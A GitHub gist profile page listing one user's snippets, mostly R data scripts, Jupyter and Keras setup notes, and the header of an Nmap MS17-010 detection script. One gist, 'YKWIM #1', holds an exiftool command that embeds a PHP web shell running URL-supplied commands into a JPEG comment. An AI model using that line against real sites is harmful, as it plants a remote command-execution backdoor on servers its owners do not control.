Skip to content

Instantly share code, notes, and snippets.

View rosdyana's full-sized avatar
💭
I may be slow to respond.

Rosdyana Kusuma rosdyana

💭
I may be slow to respond.
View GitHub Profile
@rosdyana
rosdyana / jupyter config
Last active July 4, 2017 06:52
jupyter config
jupyter notebook --generate-config
/home/ros/.jupyter/jupyter_notebook_config.py
c.NotebookApp.ip = '*'
c.NotebookApp.open_browser = False
@rosdyana
rosdyana / generate5gram.R
Last active June 8, 2017 07:32
generate 5 gram
require(data.table)
amino = c("A","R","N","D","C","Q","E","G","H","I","L","K","M","F","P","S","T","W","Y","V")
df_total = data.frame()
for(a in amino){
for(b in amino){
for(c in amino){
for(d in amino){
for(e in amino){
@rosdyana
rosdyana / getYahooStock.R
Last active May 25, 2017 06:15
Yahoo market data download - R
require(data.table)
yahoo_downloader_env <- new.env()
.get_yahoo_curl = function(symbol) {
curl = RCurl::getCurlHandle( cookiejar = '' )
html = RCurl::getURL( paste0('https://finance.yahoo.com/quote/',symbol,sep=""), curl = curl )
crumb = gsub( '^.*crumb":"\\s*|".*', '', html )
assign( 'crumb', crumb, envir = yahoo_downloader_env )
assign( 'curl' , curl , envir = yahoo_downloader_env )
@rosdyana
rosdyana / saveMultipleStock.R
Last active May 23, 2017 12:46
Download and Save Multiple Stock Time Series Data
library(quantmod)
stockData <- new.env()
xsymbols <- c('SPY','IEF','TLT',
'QAI','MNA','CPI','FTLS','BTAL','CSLS', # Alternative ETFs
'LQD','CLY','VCSH','EMB','EMAG','VWOB', # Bond/Fixed Income
'SHY','ZROZ','EDV','HYG','EMHY','HYLB',
'BWX','ALD','IAGG','MINT','VRIG','BIL',
@rosdyana
rosdyana / smb-vuln-ms17-010.nse
Created May 18, 2017 05:38
smb-vuln-ms17-010.nse
local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"
description = [[
Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code
execution vulnerability (ms17-010).
The script connects to the $IPC tree, executes a transaction on FID 0 and
@rosdyana
rosdyana / simple_keras.py
Created May 16, 2017 10:40
simple keras
import numpy as np
from keras.models import Sequential
from keras.layers import Dense
# dataset
trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24])
trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72])
# create a model
model = Sequential()
@rosdyana
rosdyana / gist:a0832ccd8266c425f96c202c40d2e370
Created May 15, 2017 12:05
Keras with TF GPU backend in Anaconda Windows
1. create anaconda environment with python 3.5
- conda create -n kerascodai python=3.5
- activate kerascodai
2. install tensorflow with GPU support
- pip install --ignore-installed --upgrade https://storage.googleapis.com/tensorflow/windows/gpu/tensorflow_gpu-1.1.0-cp35-cp35m-win_amd64.whl
3. install theano
- download minGW
https://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/mingw-builds/5.4.0/threads-posix/seh/x86_64-5.4.0-release-posix-seh-rt_v5-rev0.7z/download
keras==1.1.2
theano==0.8.2
tensorflow==
numpy==1.12.1
scipy==0.18.1
h5py==2.6.0
scikit-learn==0.18.1
@rosdyana
rosdyana / ykwim#1
Created May 9, 2017 15:26
YKWIM #1
exiftool.exe -Comment="<?php passthru(\$_GET'cmd'); _halt_compiler();" jnck.jpg
@rosdyana
rosdyana / UpdateFromGitHub.R
Created May 3, 2017 13:55
Update your external package from github
update_github <- function() {
pkgs = loadedNamespaces()
print(pkgs)
desc <- lapply(pkgs, packageDescription, lib.loc = NULL)
for (d in desc) {
message("working on ", d$Package)
if (!is.null(d$GithubSHA1)) {
message("Github found")
install_github(repo = d$GithubRepo, username = d$GithubUsername)
}